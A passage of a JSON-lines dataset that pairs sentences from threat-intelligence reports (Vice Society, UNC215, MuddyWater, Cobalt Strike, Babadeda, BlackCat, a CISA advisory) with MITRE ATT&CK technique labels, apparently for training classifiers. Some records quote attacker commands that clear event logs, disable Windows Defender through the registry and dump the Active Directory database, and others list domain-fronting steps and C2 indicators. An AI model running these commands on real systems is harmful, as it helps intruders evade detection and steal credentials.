"Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "The degradation of ESXi servers used for virtualization in victim environments.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "The use of a DLL that takes advantage of the recently discovered PrintNightmare vulnerability for which Microsoft has previously released a security update.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "c:\\windows\\system32\\nltest.exe", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "/dclist", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "cmd /c", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "The Windows service was configured with the following options:Service Type: user mode service Service Start Type: demand start Service Account:", "labels": ["T1543.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "start /b", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "Downloading, decrypting, and executing a backdoor payload from an attacker-controlled server.", "labels": ["T1105", "T1140"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "This was typically performed via the following command-line syntax:C:\\Windows\\system32\\mstsc.exe /v", "labels": ["T1059.003"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "ac i ntds' 'ifm' 'create full c:\\temp' q q 1> \\\\127.0.0.1\\admin$\\__[STRING] 2>&1cmd.exe /q", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "Microsoft has recently released a security patch for PrintNightmare — we encourage all enterprises to patch immediately to avoid exploitation.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "Defense evasionATT&CK Technique: Indicator Removal on Host: Clear Windows Event Logs (T1070.001)ATT&CK Technique: Modify Registry (T1112)ATT&CK Technique: Impair Defenses or Modify Tools (T1562.001)Throughout the attack, the adversary made multiple attempts to evade detection and subvert security controls in place as described throughout previous sections of this blog post.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "c:\\windows\\system32\\wevtutil.exe cl systemc:\\windows\\system32\\wevtutil.exe cl securityc:\\windows\\system32\\wevtutil.exe cl", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "This was performed using the following commands:C:\\Windows\\system32\\reg.exe delete HKLM\\Software\\Policies\\Microsoft\\Windows Defender /fC:\\Windows\\system32\\reg.exe add HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection /v", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "1 /f C:\\Windows\\system32\\reg.exe add HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet /v", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "1 /f We also observed the threat actor attempting to evade detection while enumerating the environment using an AMSI bypass, which is often used as a way to evade detection by endpoint security solutions that may be present on compromised systems.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "In this attack, we observed the adversary attempting to exfiltrate sensitive information over SMB (TCP/445) directly from a compromised domain controller.", "labels": ["T1041"], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "This was likely chosen as a way to bypass egress filtering that may have been in place at the perimeter of the victim environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "Utilize an endpoint detection response platform that detects LoLBin abuse and malware implants.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "Multiple distinct threat actors are now taking advantage of PrintNightmare, and this adoption will likely continue to increase as long as it is effective.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "It is important that defenders be aware of the various TTPs being used throughout the attack lifecycle so that they are prepared to prevent, detect, and respond to nefarious activity that may be indicative of a successful compromise of their environment.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "Additional protections with context to your specific environment and threat data are available from the Cisco Secure Firewall Management Center.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "The following SIDs have been released to detect this threat: 57876, 57877.Indicators of Compromise (IOCs)The following IOCs have been observed being associated with the attack.", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "6f191f598589b7708b1890d56b374b45c6eb41610d34f976f0b4cfde8d5731af", "labels": [], "doc_title": "Vice Society leverages PrintNightmare in ransomware attacks"} {"sentence": "There are targeting and high level technique overlaps with between UNC215 and APT27, but we do not have sufficient evidence to say that the same actor is responsible for both sets of activity.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "In addition to data from Mandiant Incident Response and FireEye telemetry, we worked with Israeli defense agencies to review data from additional compromises of Israeli entities.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "In the following days, the operators interacted with these web shells from internal IP addresses, attempting to harvest credentials.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "This type of action can make it more difficult for incident responders to reconstruct what happened during a compromise.", "labels": ["T1070.004"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "The following are examples of HYPERBRO and FOCUSFJORD samples capable of acting as proxies to relay communications to their C2 servers.", "labels": ["T1090"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "However, analysis indicates that it only contains functions to relay communications between another FOCUSFJORD instance and a C2 server (Figure 2, Network A).", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "When a new FOCUSFJORD sample is first executed and writes its configuration to registry, this value is set to “default” and is later manually changed by the actor, usually to the victim’s domain name or organization name.", "labels": ["T1082", "T1112"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "It is not clear how or if UNC215 uses these configuration parameters to organize and track large numbers of compromised hosts.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "159.65.80.157 Unknown galway 0e061265c0b5998088443628c03188f0 159.65.80.157", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "In several cases, we identified FOCUSFJORD samples with registry key names in regional languages.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "The registry key names are hardcoded into every FOCUSFJORD sample, as the malware needs to read and decrypt those registry key values for proper execution.", "labels": ["T1012", "T1140"], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Linguistic analysis suggests that these terms were auto translated as they are not commonly used by native Farsi speakers.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Another FOCUSFJORD sample uploaded from Uzbekistan (MD5: ac431261b8852286d99673fddba38a50) contains a configuration with registry key names in Hindi.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "In several instances, UNC215 used the same exact file against multiple victims and frequently shared infrastructure across victims.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "This lack of compartmentalization is not uncommon, but does show that UNC215 is relatively less concerned about the ability for their compromises to be linked to each other.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1070.004 Indicator Removal on Host: File Deletion T1070.006 Indicator Removal on Host: Timestomp T1071.001 Application Layer Protocol: Web Protocols T1078 Valid Accounts T1082 System Information Discovery T1083 File and Directory Discovery T1087 Account Discovery T1090 Proxy T1095 Non-Application Layer Protocol T1098 Account Manipulation T1105", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Deobfuscate/Decode Files or Information T1190", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "The following indicators have been seen in use with the noted malware families, but not all have been confirmed to be used by UNC215. Type Value Description IP 85.204.74.143 HYPERBRO C2 IP 103.79.78.48 HYPERBRO C2 IP 89.35.178.105 HYPERBRO C2 IP 47.75.49.32 HYPERBRO C2 IP 139.59.81.253", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Platform(s) Detection Name Network Security Email Security Detection On Demand Malware Analysis File Protect Backdoor.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "FEC3 FE_APT_Backdoor_Win32_HYPERBRO_1 FE_Downloader_Win32_FOCUSFJORD_2 FE_Trojan_Raw32_SILKWRAP_1 Trojan.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"} {"sentence": "Today, we’ll review a high-profile cyber espionage group MuddyWater.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "In 2011, Iranian threat actors began to be involved in sophisticated attacks.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "However, their main focus primarily resides on the middle east, per other Iranian threat actors.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "After obtaining initial access, they usually drop web shell and gain local administrator access on the infected machine.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "MuddyWater generally uses DNS to communicate with their C2 servers while using tools such as PowerShell, vpnui[.]exe (a unique version of Ligolo), and remote monitoring software such as ScreenConnect, Remote Utilities, and eHorus.", "labels": ["T1219"], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "The US brokered the agreements, a major diplomatic breakthrough in the Middle East.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "Operation Quicksand (Source: SOCRadar) March 2021 – Earth Vetala Campaign:", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "According to Trend Micro, Azerbaijan, Bahrain, Israel, Saudi Arabia, and the United Arab Emirates were the targets of the campaign.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "They used multiple malicious PDFs and MS Office documents during the campaign.", "labels": ["T1566.001"], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "What can you do to defend against them?", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "You can apply the following recommendations per your needs.", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "d801:d1df:1328:492a[:]d801:53 (UDP) a83f:8110:5067:d801:beac:bf78:cce1[:]d301:53 (UDP) Appendix 3: IOCs of Canopy Cooperation terms[.]xls MD5: b0ab12a5a4c232c902cdeba421872c37 SHA-1: a8e7659942cc19f422678181ee23297efa55fa09 SHA-256: 026868713d60e6790f41dc7046deb4e6795825faa903113d2f22b644f0d21141 File type: MS Excel Spreadsheet File size: 247.00 KB (252928 bytes) IOCs 88.119.170[.]124:80 (TCP) ZaibCb15Ak[.]xls MD5: 6cef87a6ffb254bfeb61372d24e1970a SHA-1: e21d95b648944ad2287c6bc01fcc12b05530e455 SHA-256: 4b2862a1665a62706f88304406b071a5c9a6b3093daadc073e174ac6d493f26c File type: MS Excel Spreadsheet File size: 249.00 KB (254976 bytes) IOCs 5.199.133[.]149:80 (TCP) Appendix 4:IOCs of Mori FML[.]dll MD5: 0431445d6d6e5802c207c8bc6a6402ea SHA-1: 3765c1ad8a1d936aad88255aef5d6d4ce24f94e8 SHA-256: 3098dd53da40947a82e59265a47059e69b2925bc49c679e6555d102d1c6cbbc8 File type: Win32 DLL File size: 200.65 MB (210397496 bytes)", "labels": [], "doc_title": "Dark Web Profile MuddyWater APT Group"} {"sentence": "In this report, we will focus on the network traffic it produced, and provide some easy wins defenders can be on the look out for to detect beaconing activity.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "####### Not much explanation is needed here, you can change the certificate information to your heart's content.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "| | 108.62.118.247 | /as", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "(e.g., infosecppl.store) Pick one of the many web services that provide CDN capabilities.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Identify a domain that uses the same CDN to ensure that the traffic will be forwarded to the correct resource.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Step five is where things get interesting.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "As demonstrated in the screenshot above, all they have to do is include their CDN endpoint domain (created in step three) in the host header of the request.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "In that way, the legitimate website will forward the traffic through the CDN to the original destination according to the host header.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "This research paper released by academics from the University of California, Berkeley, is a great introduction to domain fronting.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "This paper inspired many researchers to expand the possibilities of this unique way of hiding the final destination server on web traffic.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "One of those researchers is Vincent who wrote a great article on domain fronting.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Cobalt Strike has the ability to run a SOCKS proxy server on the team server.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Our previous article presented this jquery profile as one of the most commonly used profiles by threat actors in the intrusions we reported.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "DNS C2 traffic Cobalt Strike is capable of using DNS as the C2 method.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Below is the infrastructure that we used for demonstration purposes: Target Host: 192.168.88.179 Internal DNS server: 192.168.88.2 Cobalt Strike C2 domain: infosecppl.store We instructed the Beacon to execute the command systeminfo on the compromised host.", "labels": ["T1082"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "The activity took 5 seconds to complete.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "As with HTTP/HTTPS traffic, DNS traffic can be randomized using malleable C2 profiles.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "The above table was taken from Cobalt Strike’s official documentation SMB Beacons Another option for threat actors is to employ SMB beacons, once they have gained access to the network.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "As we do not see SMB beacons used often in our intrusion cases, we took an example case from our lab to demonstrate the effectiveness of this method.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "For this example, we chose the named pipe “my_pipes”.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "As explained in our previous Cobalt Strike article, Sysmon events 17 and 18 can log named pipes.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "192.168.38.102 = SMB Beacon 192.168.38.104 = HTTP Parent Beacon Detecting and Analyzing C2 Traffic Thanks to free, open-source tooling, investigating network traffic has become more accessible.", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Rita determined that one hour of network data was adequate for identifying the beacon link and assigning it the highest score.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Rita accurately identified beaconing activity related to Cobalt Strike C2 communication.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Using Rita, we can identify malicious C2 traffic based on multiple variables, including communication frequency, average bytes sent/received, number of connections etc.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "We can find many reports that contain the JA3 value that corresponds to the Cobalt Strike fingerprint.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Some other example signatures with well known JA3 fingerprints are: Trickbot: 6734f37431670b3ab4292b8f60f29984 AsyncRat: fc54e0d16d9764783542f0146a98b300 Dridex: 51c64c77e60f3980eea90869b68c58a8 JA3 of Python usually hosting Empire or PoshC2: db42e3017c8b6d160751ef3a04f695e7 TOR client: e7d705a3286e19ea42f587b344ee6865 Another very good website to test the JA3 signature against a large database is ja3er.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Following this change, the JARM fingerprint for Cobalt Strike servers changed: From: 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "[port] While JARM’s offer another tool to help reveal adversary infrastructure they are not an indicator that can be used in isolation.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "JARM signatures can be masked, Dagmawi Mulugeta presented at HiTB Amsterdam in 2021 a tool that enables red teams or adversaries to mask the JARM signatures of their infrastructure.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Other JARMs can be found at: https://github.com/cedowens/C2-JARM.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Arkime makes use of additional analysis tools by including them as plugins.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Contact us here or on Twitter with suggestions.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Thanks for reading and hope this helps!", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Without the required DLL, we would just see an error dialog telling us that Windows can’t run this file.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "If we place the correct file inside the same directory and run the sample again, it runs just fine", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "What is even more frustrating about this situation is that in many cases, those dependencies don’t matter for infected files in that they aren’t even going to be used.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Modified entry point.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "The good news is that, in most cases, this is still enough for accurate detection.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "For this reason, in order to avoid unintentional crashes or bugs from the analyzed sample, our sandbox stops the execution if any function from the generated stub libraries is called.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "TLS Handshakes When an SSL/TLS connection is being established, certain data between the local system and the remote server is exchanged to validate each side's authenticity and generate symmetric keys to encrypt data over the wire.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "This data includes the following: Preferred TLS version Supported cipher suites 32 bytes of random data used in the key generation algorithm A data signature, in the case of an ephemeral elliptic-curve Diffie-Hellman (ECDHE) key exchange An example of an ECDHE “Server Hello” message is shown in Figure 6. Figure 6.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Wireshark screenshot illustrating the initial handshake for an SSL connection.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Through reverse engineering efforts, we discovered that this key generation occurs in the ncrypt.dll library in recent versions of the Windows OS.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "A similar approach can be implemented in instances where other third party libraries are used for key generation, such as OpenSSL.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "If we open the recorded package capture in Wireshark and provide the extracted SSL/TLS keys that were extracted by the analysis platform, we should be able to see the SSL encrypted traffic to the public file storage service, including the downloaded data.", "labels": ["T1027", "T1071.001"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": " To provide the decryption keys to Wireshark, we have to use the option ssl.keylog_file, which we can pass through the command line.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "As we’ve mentioned in previous posts, adaptability in sandboxing is exceptionally important when it comes to staying on top of the malware detection problem.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "With Dependency Emulation, we can increase our detonation rates to collect more execution logs necessary for accurate detection.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Because the actor created a Discord bot account on the official company discord channel, they were able to successfully impersonate the channel’s official account.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "If a user clicks on the URL within the message, it will direct them to a decoy site.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "There, the user will be encouraged to download a malicious installer that embeds the Crypter with the payload.", "labels": ["T1027", "T1204.002"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Original Domain Decoy Domain Description IP Resolved Installer Name opensea.io openseea[.]netopenseaio[.]net The most popular NFT marketplace 185.117.2[.]82 OpenSea-App_v2.1-setup.exe larvalabs.com larvaslab[.]comlarva-labs[.]net The creators of CryptoPunks - The most popular PFP NFTs 185.117.2[.]81185.117.2[.]8245.142.182[.]160 LarvaLabs-App_v2.1.1-setup.exe boredapeyachtclub.com boredpeyachtclub[.]com BAYC - one of the most popular PFP NFTs 185.117.2[.]4 185.212.130[.]64 BAYC-App-v2.1-release.exe We have identified at least 82 domains created between July 24, 2021, and November 17, 2021, with the following registration time distribution (credit to @msuiche).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "We have noticed that at this point, some variants display a fake error message that stops the execution until the user interacts with the message.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Here, just like before, the actor embeds the malicious code inside different legitimate codes.", "labels": ["T1027"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "The first piece that is parsed from the file is a shellcode located in a pre-calculated offset (in this case, 0x88D8C and overwrites the executable at offset 0x1600).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "This helps with evasion since those functions are highly monitored by security solutions.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Persistency Implementation If the crypter is configured to install persistence, the loader DLL will execute a new thread that loads another DLL (from the compressed files) that will handle this task. Figure 12: New thread creation for calling the persistent mechanism The newly loaded DLL will either use one of the following logics or both of them to implement the persistency: Write a.lnk file in the startup folder that executes the Crypter’s main executable.", "labels": ["T1547.001"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "An encrypted additional shellcode (referred to in the next section, the Loader shellcode) An encrypted payload.", "labels": ["T1027", "T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "The Decryption shellcode has three main tasks: first, it extracts the Loader shellcode and the payload, then it decrypts them, and finally, it transfers the execution to the decrypted Loader shellcode.", "labels": ["T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Figure 15: Decryption shellcode execution flow The Decryption shellcode begins with dynamically locating the configuration structure by searching for a sequence of six or more identical bytes.", "labels": ["T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Then, the shellcode searches for two DWORD placeholders, 0xBABADEDA and 0xDEADBEAF.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "This data is used in the next stage, the Loader shellcode.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "The Loader Shellcode The purpose of the Loader shellcode is to inject the decrypted payload within the currently running process (itself).", "labels": ["T1055", "T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Figure 18: Extracting the data for injection and correction stages To start initializing, the Loader first saves the decrypted payload address and payload size according to the placeholder’s addresses.", "labels": ["T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "The Loader parses the _PEB structure in order to find the base address of the current executable and the LDR_DATA_TABLE_ENTRY which will be used later.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Injection This stage is pretty straightforward.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Within it, the Loader overwrites the current PE with the final payload’s PE.", "labels": ["T1055"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Remove the injected PE headers from memory.", "labels": ["T1027"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Conclusion As demonstrated above, Babadeda is a highly dangerous crypter.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Morphisec does this through Moving Target Defence, a technology that morphs process memory trapping crypters like Babadeda before they are able to deploy.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Palo Alto Networks detects and prevents BlackCat ransomware with the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire).", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Written in the Russian language, the control panel gives the affiliate updates and announcements about deploying and operating the ransomware as well as troubleshooting tips to help the affiliate be more successful in their campaigns.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "As shown in Figure 1 below, many RaaS operators use the double-extortion technique of exfiltrating data prior to encryption, which provides them greater leverage in negotiating ransom funds.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Rust also facilitates the BlackCat author due to its efficiency regarding algorithms that power the encryption capability of the ransomware.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "BlackCat Config While analyzing the ransomware configurations, we observed numerous evasion tactics deployed.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "The credentials also allow BlackCat to move laterally within the victim’s system and/or network, often with administrative privileges.", "labels": ["T1078"], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Credential access permits the ransomware to deploy additional tools that further propagate the attack.", "labels": ["T1105"], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Additionally, anti-forensics tools like fileshredder, an application to securely delete unwanted files beyond recovery, have also been leveraged during some BlackCat ransomware attacks investigated by Unit 42.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "The below courses of action mitigate the following techniques: Multi-hop", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Cortex XDR with: Indicators for BlackCat.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "The National Security Agency, Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI) assess that People’s Republic of China state-sponsored malicious cyber activity is a major threat to U.S. and Allied cyberspace assets.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "A downloadable JSON file is also available on the NSA Cybersecurity GitHub page.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Unix is a registered trademark of The Open Group.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Minimize the amount and sensitivity of data available to external parties, for example: Scrub user email addresses and contact lists from public websites, which can be used for social engineering, Share only necessary data and information with third parties, and Monitor and limit third-party access to the network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Detect: Network Traffic Analysis Connection Attempt Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[T1588]: Tools [T1588.002] Chinese state-sponsored cyber actors have been observed using Cobalt Strike:registered: and tools from GitHub:registered: on victim networks.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "If it does not match with the destination domain, it may indicate a fake Cobalt Strike header and profile.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Ensure all browsers and plugins are kept up to date.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Chinese state-sponsored cyber actors have also been observed: Using short-term VPS devices to scan and exploit vulnerable Microsoft Exchange:registered: Outlook Web Access (OWA:registered:) and plant webshells.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Review previously published alerts and advisories from NSA, CISA, and FBI, and diligently patch vulnerable applications known to be exploited by cyber actors.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Refer to the Trends in Chinese State-Sponsored Cyber Operations section for a non-inclusive list of resources.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Disable protocols using weak authentication.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Limit access to and between cloud resources with the desired state being a Zero Trust model.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Quarantine suspicious files with antivirus solutions.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-DA] Identifier Analysis Homoglyph Detection [D3-HD] 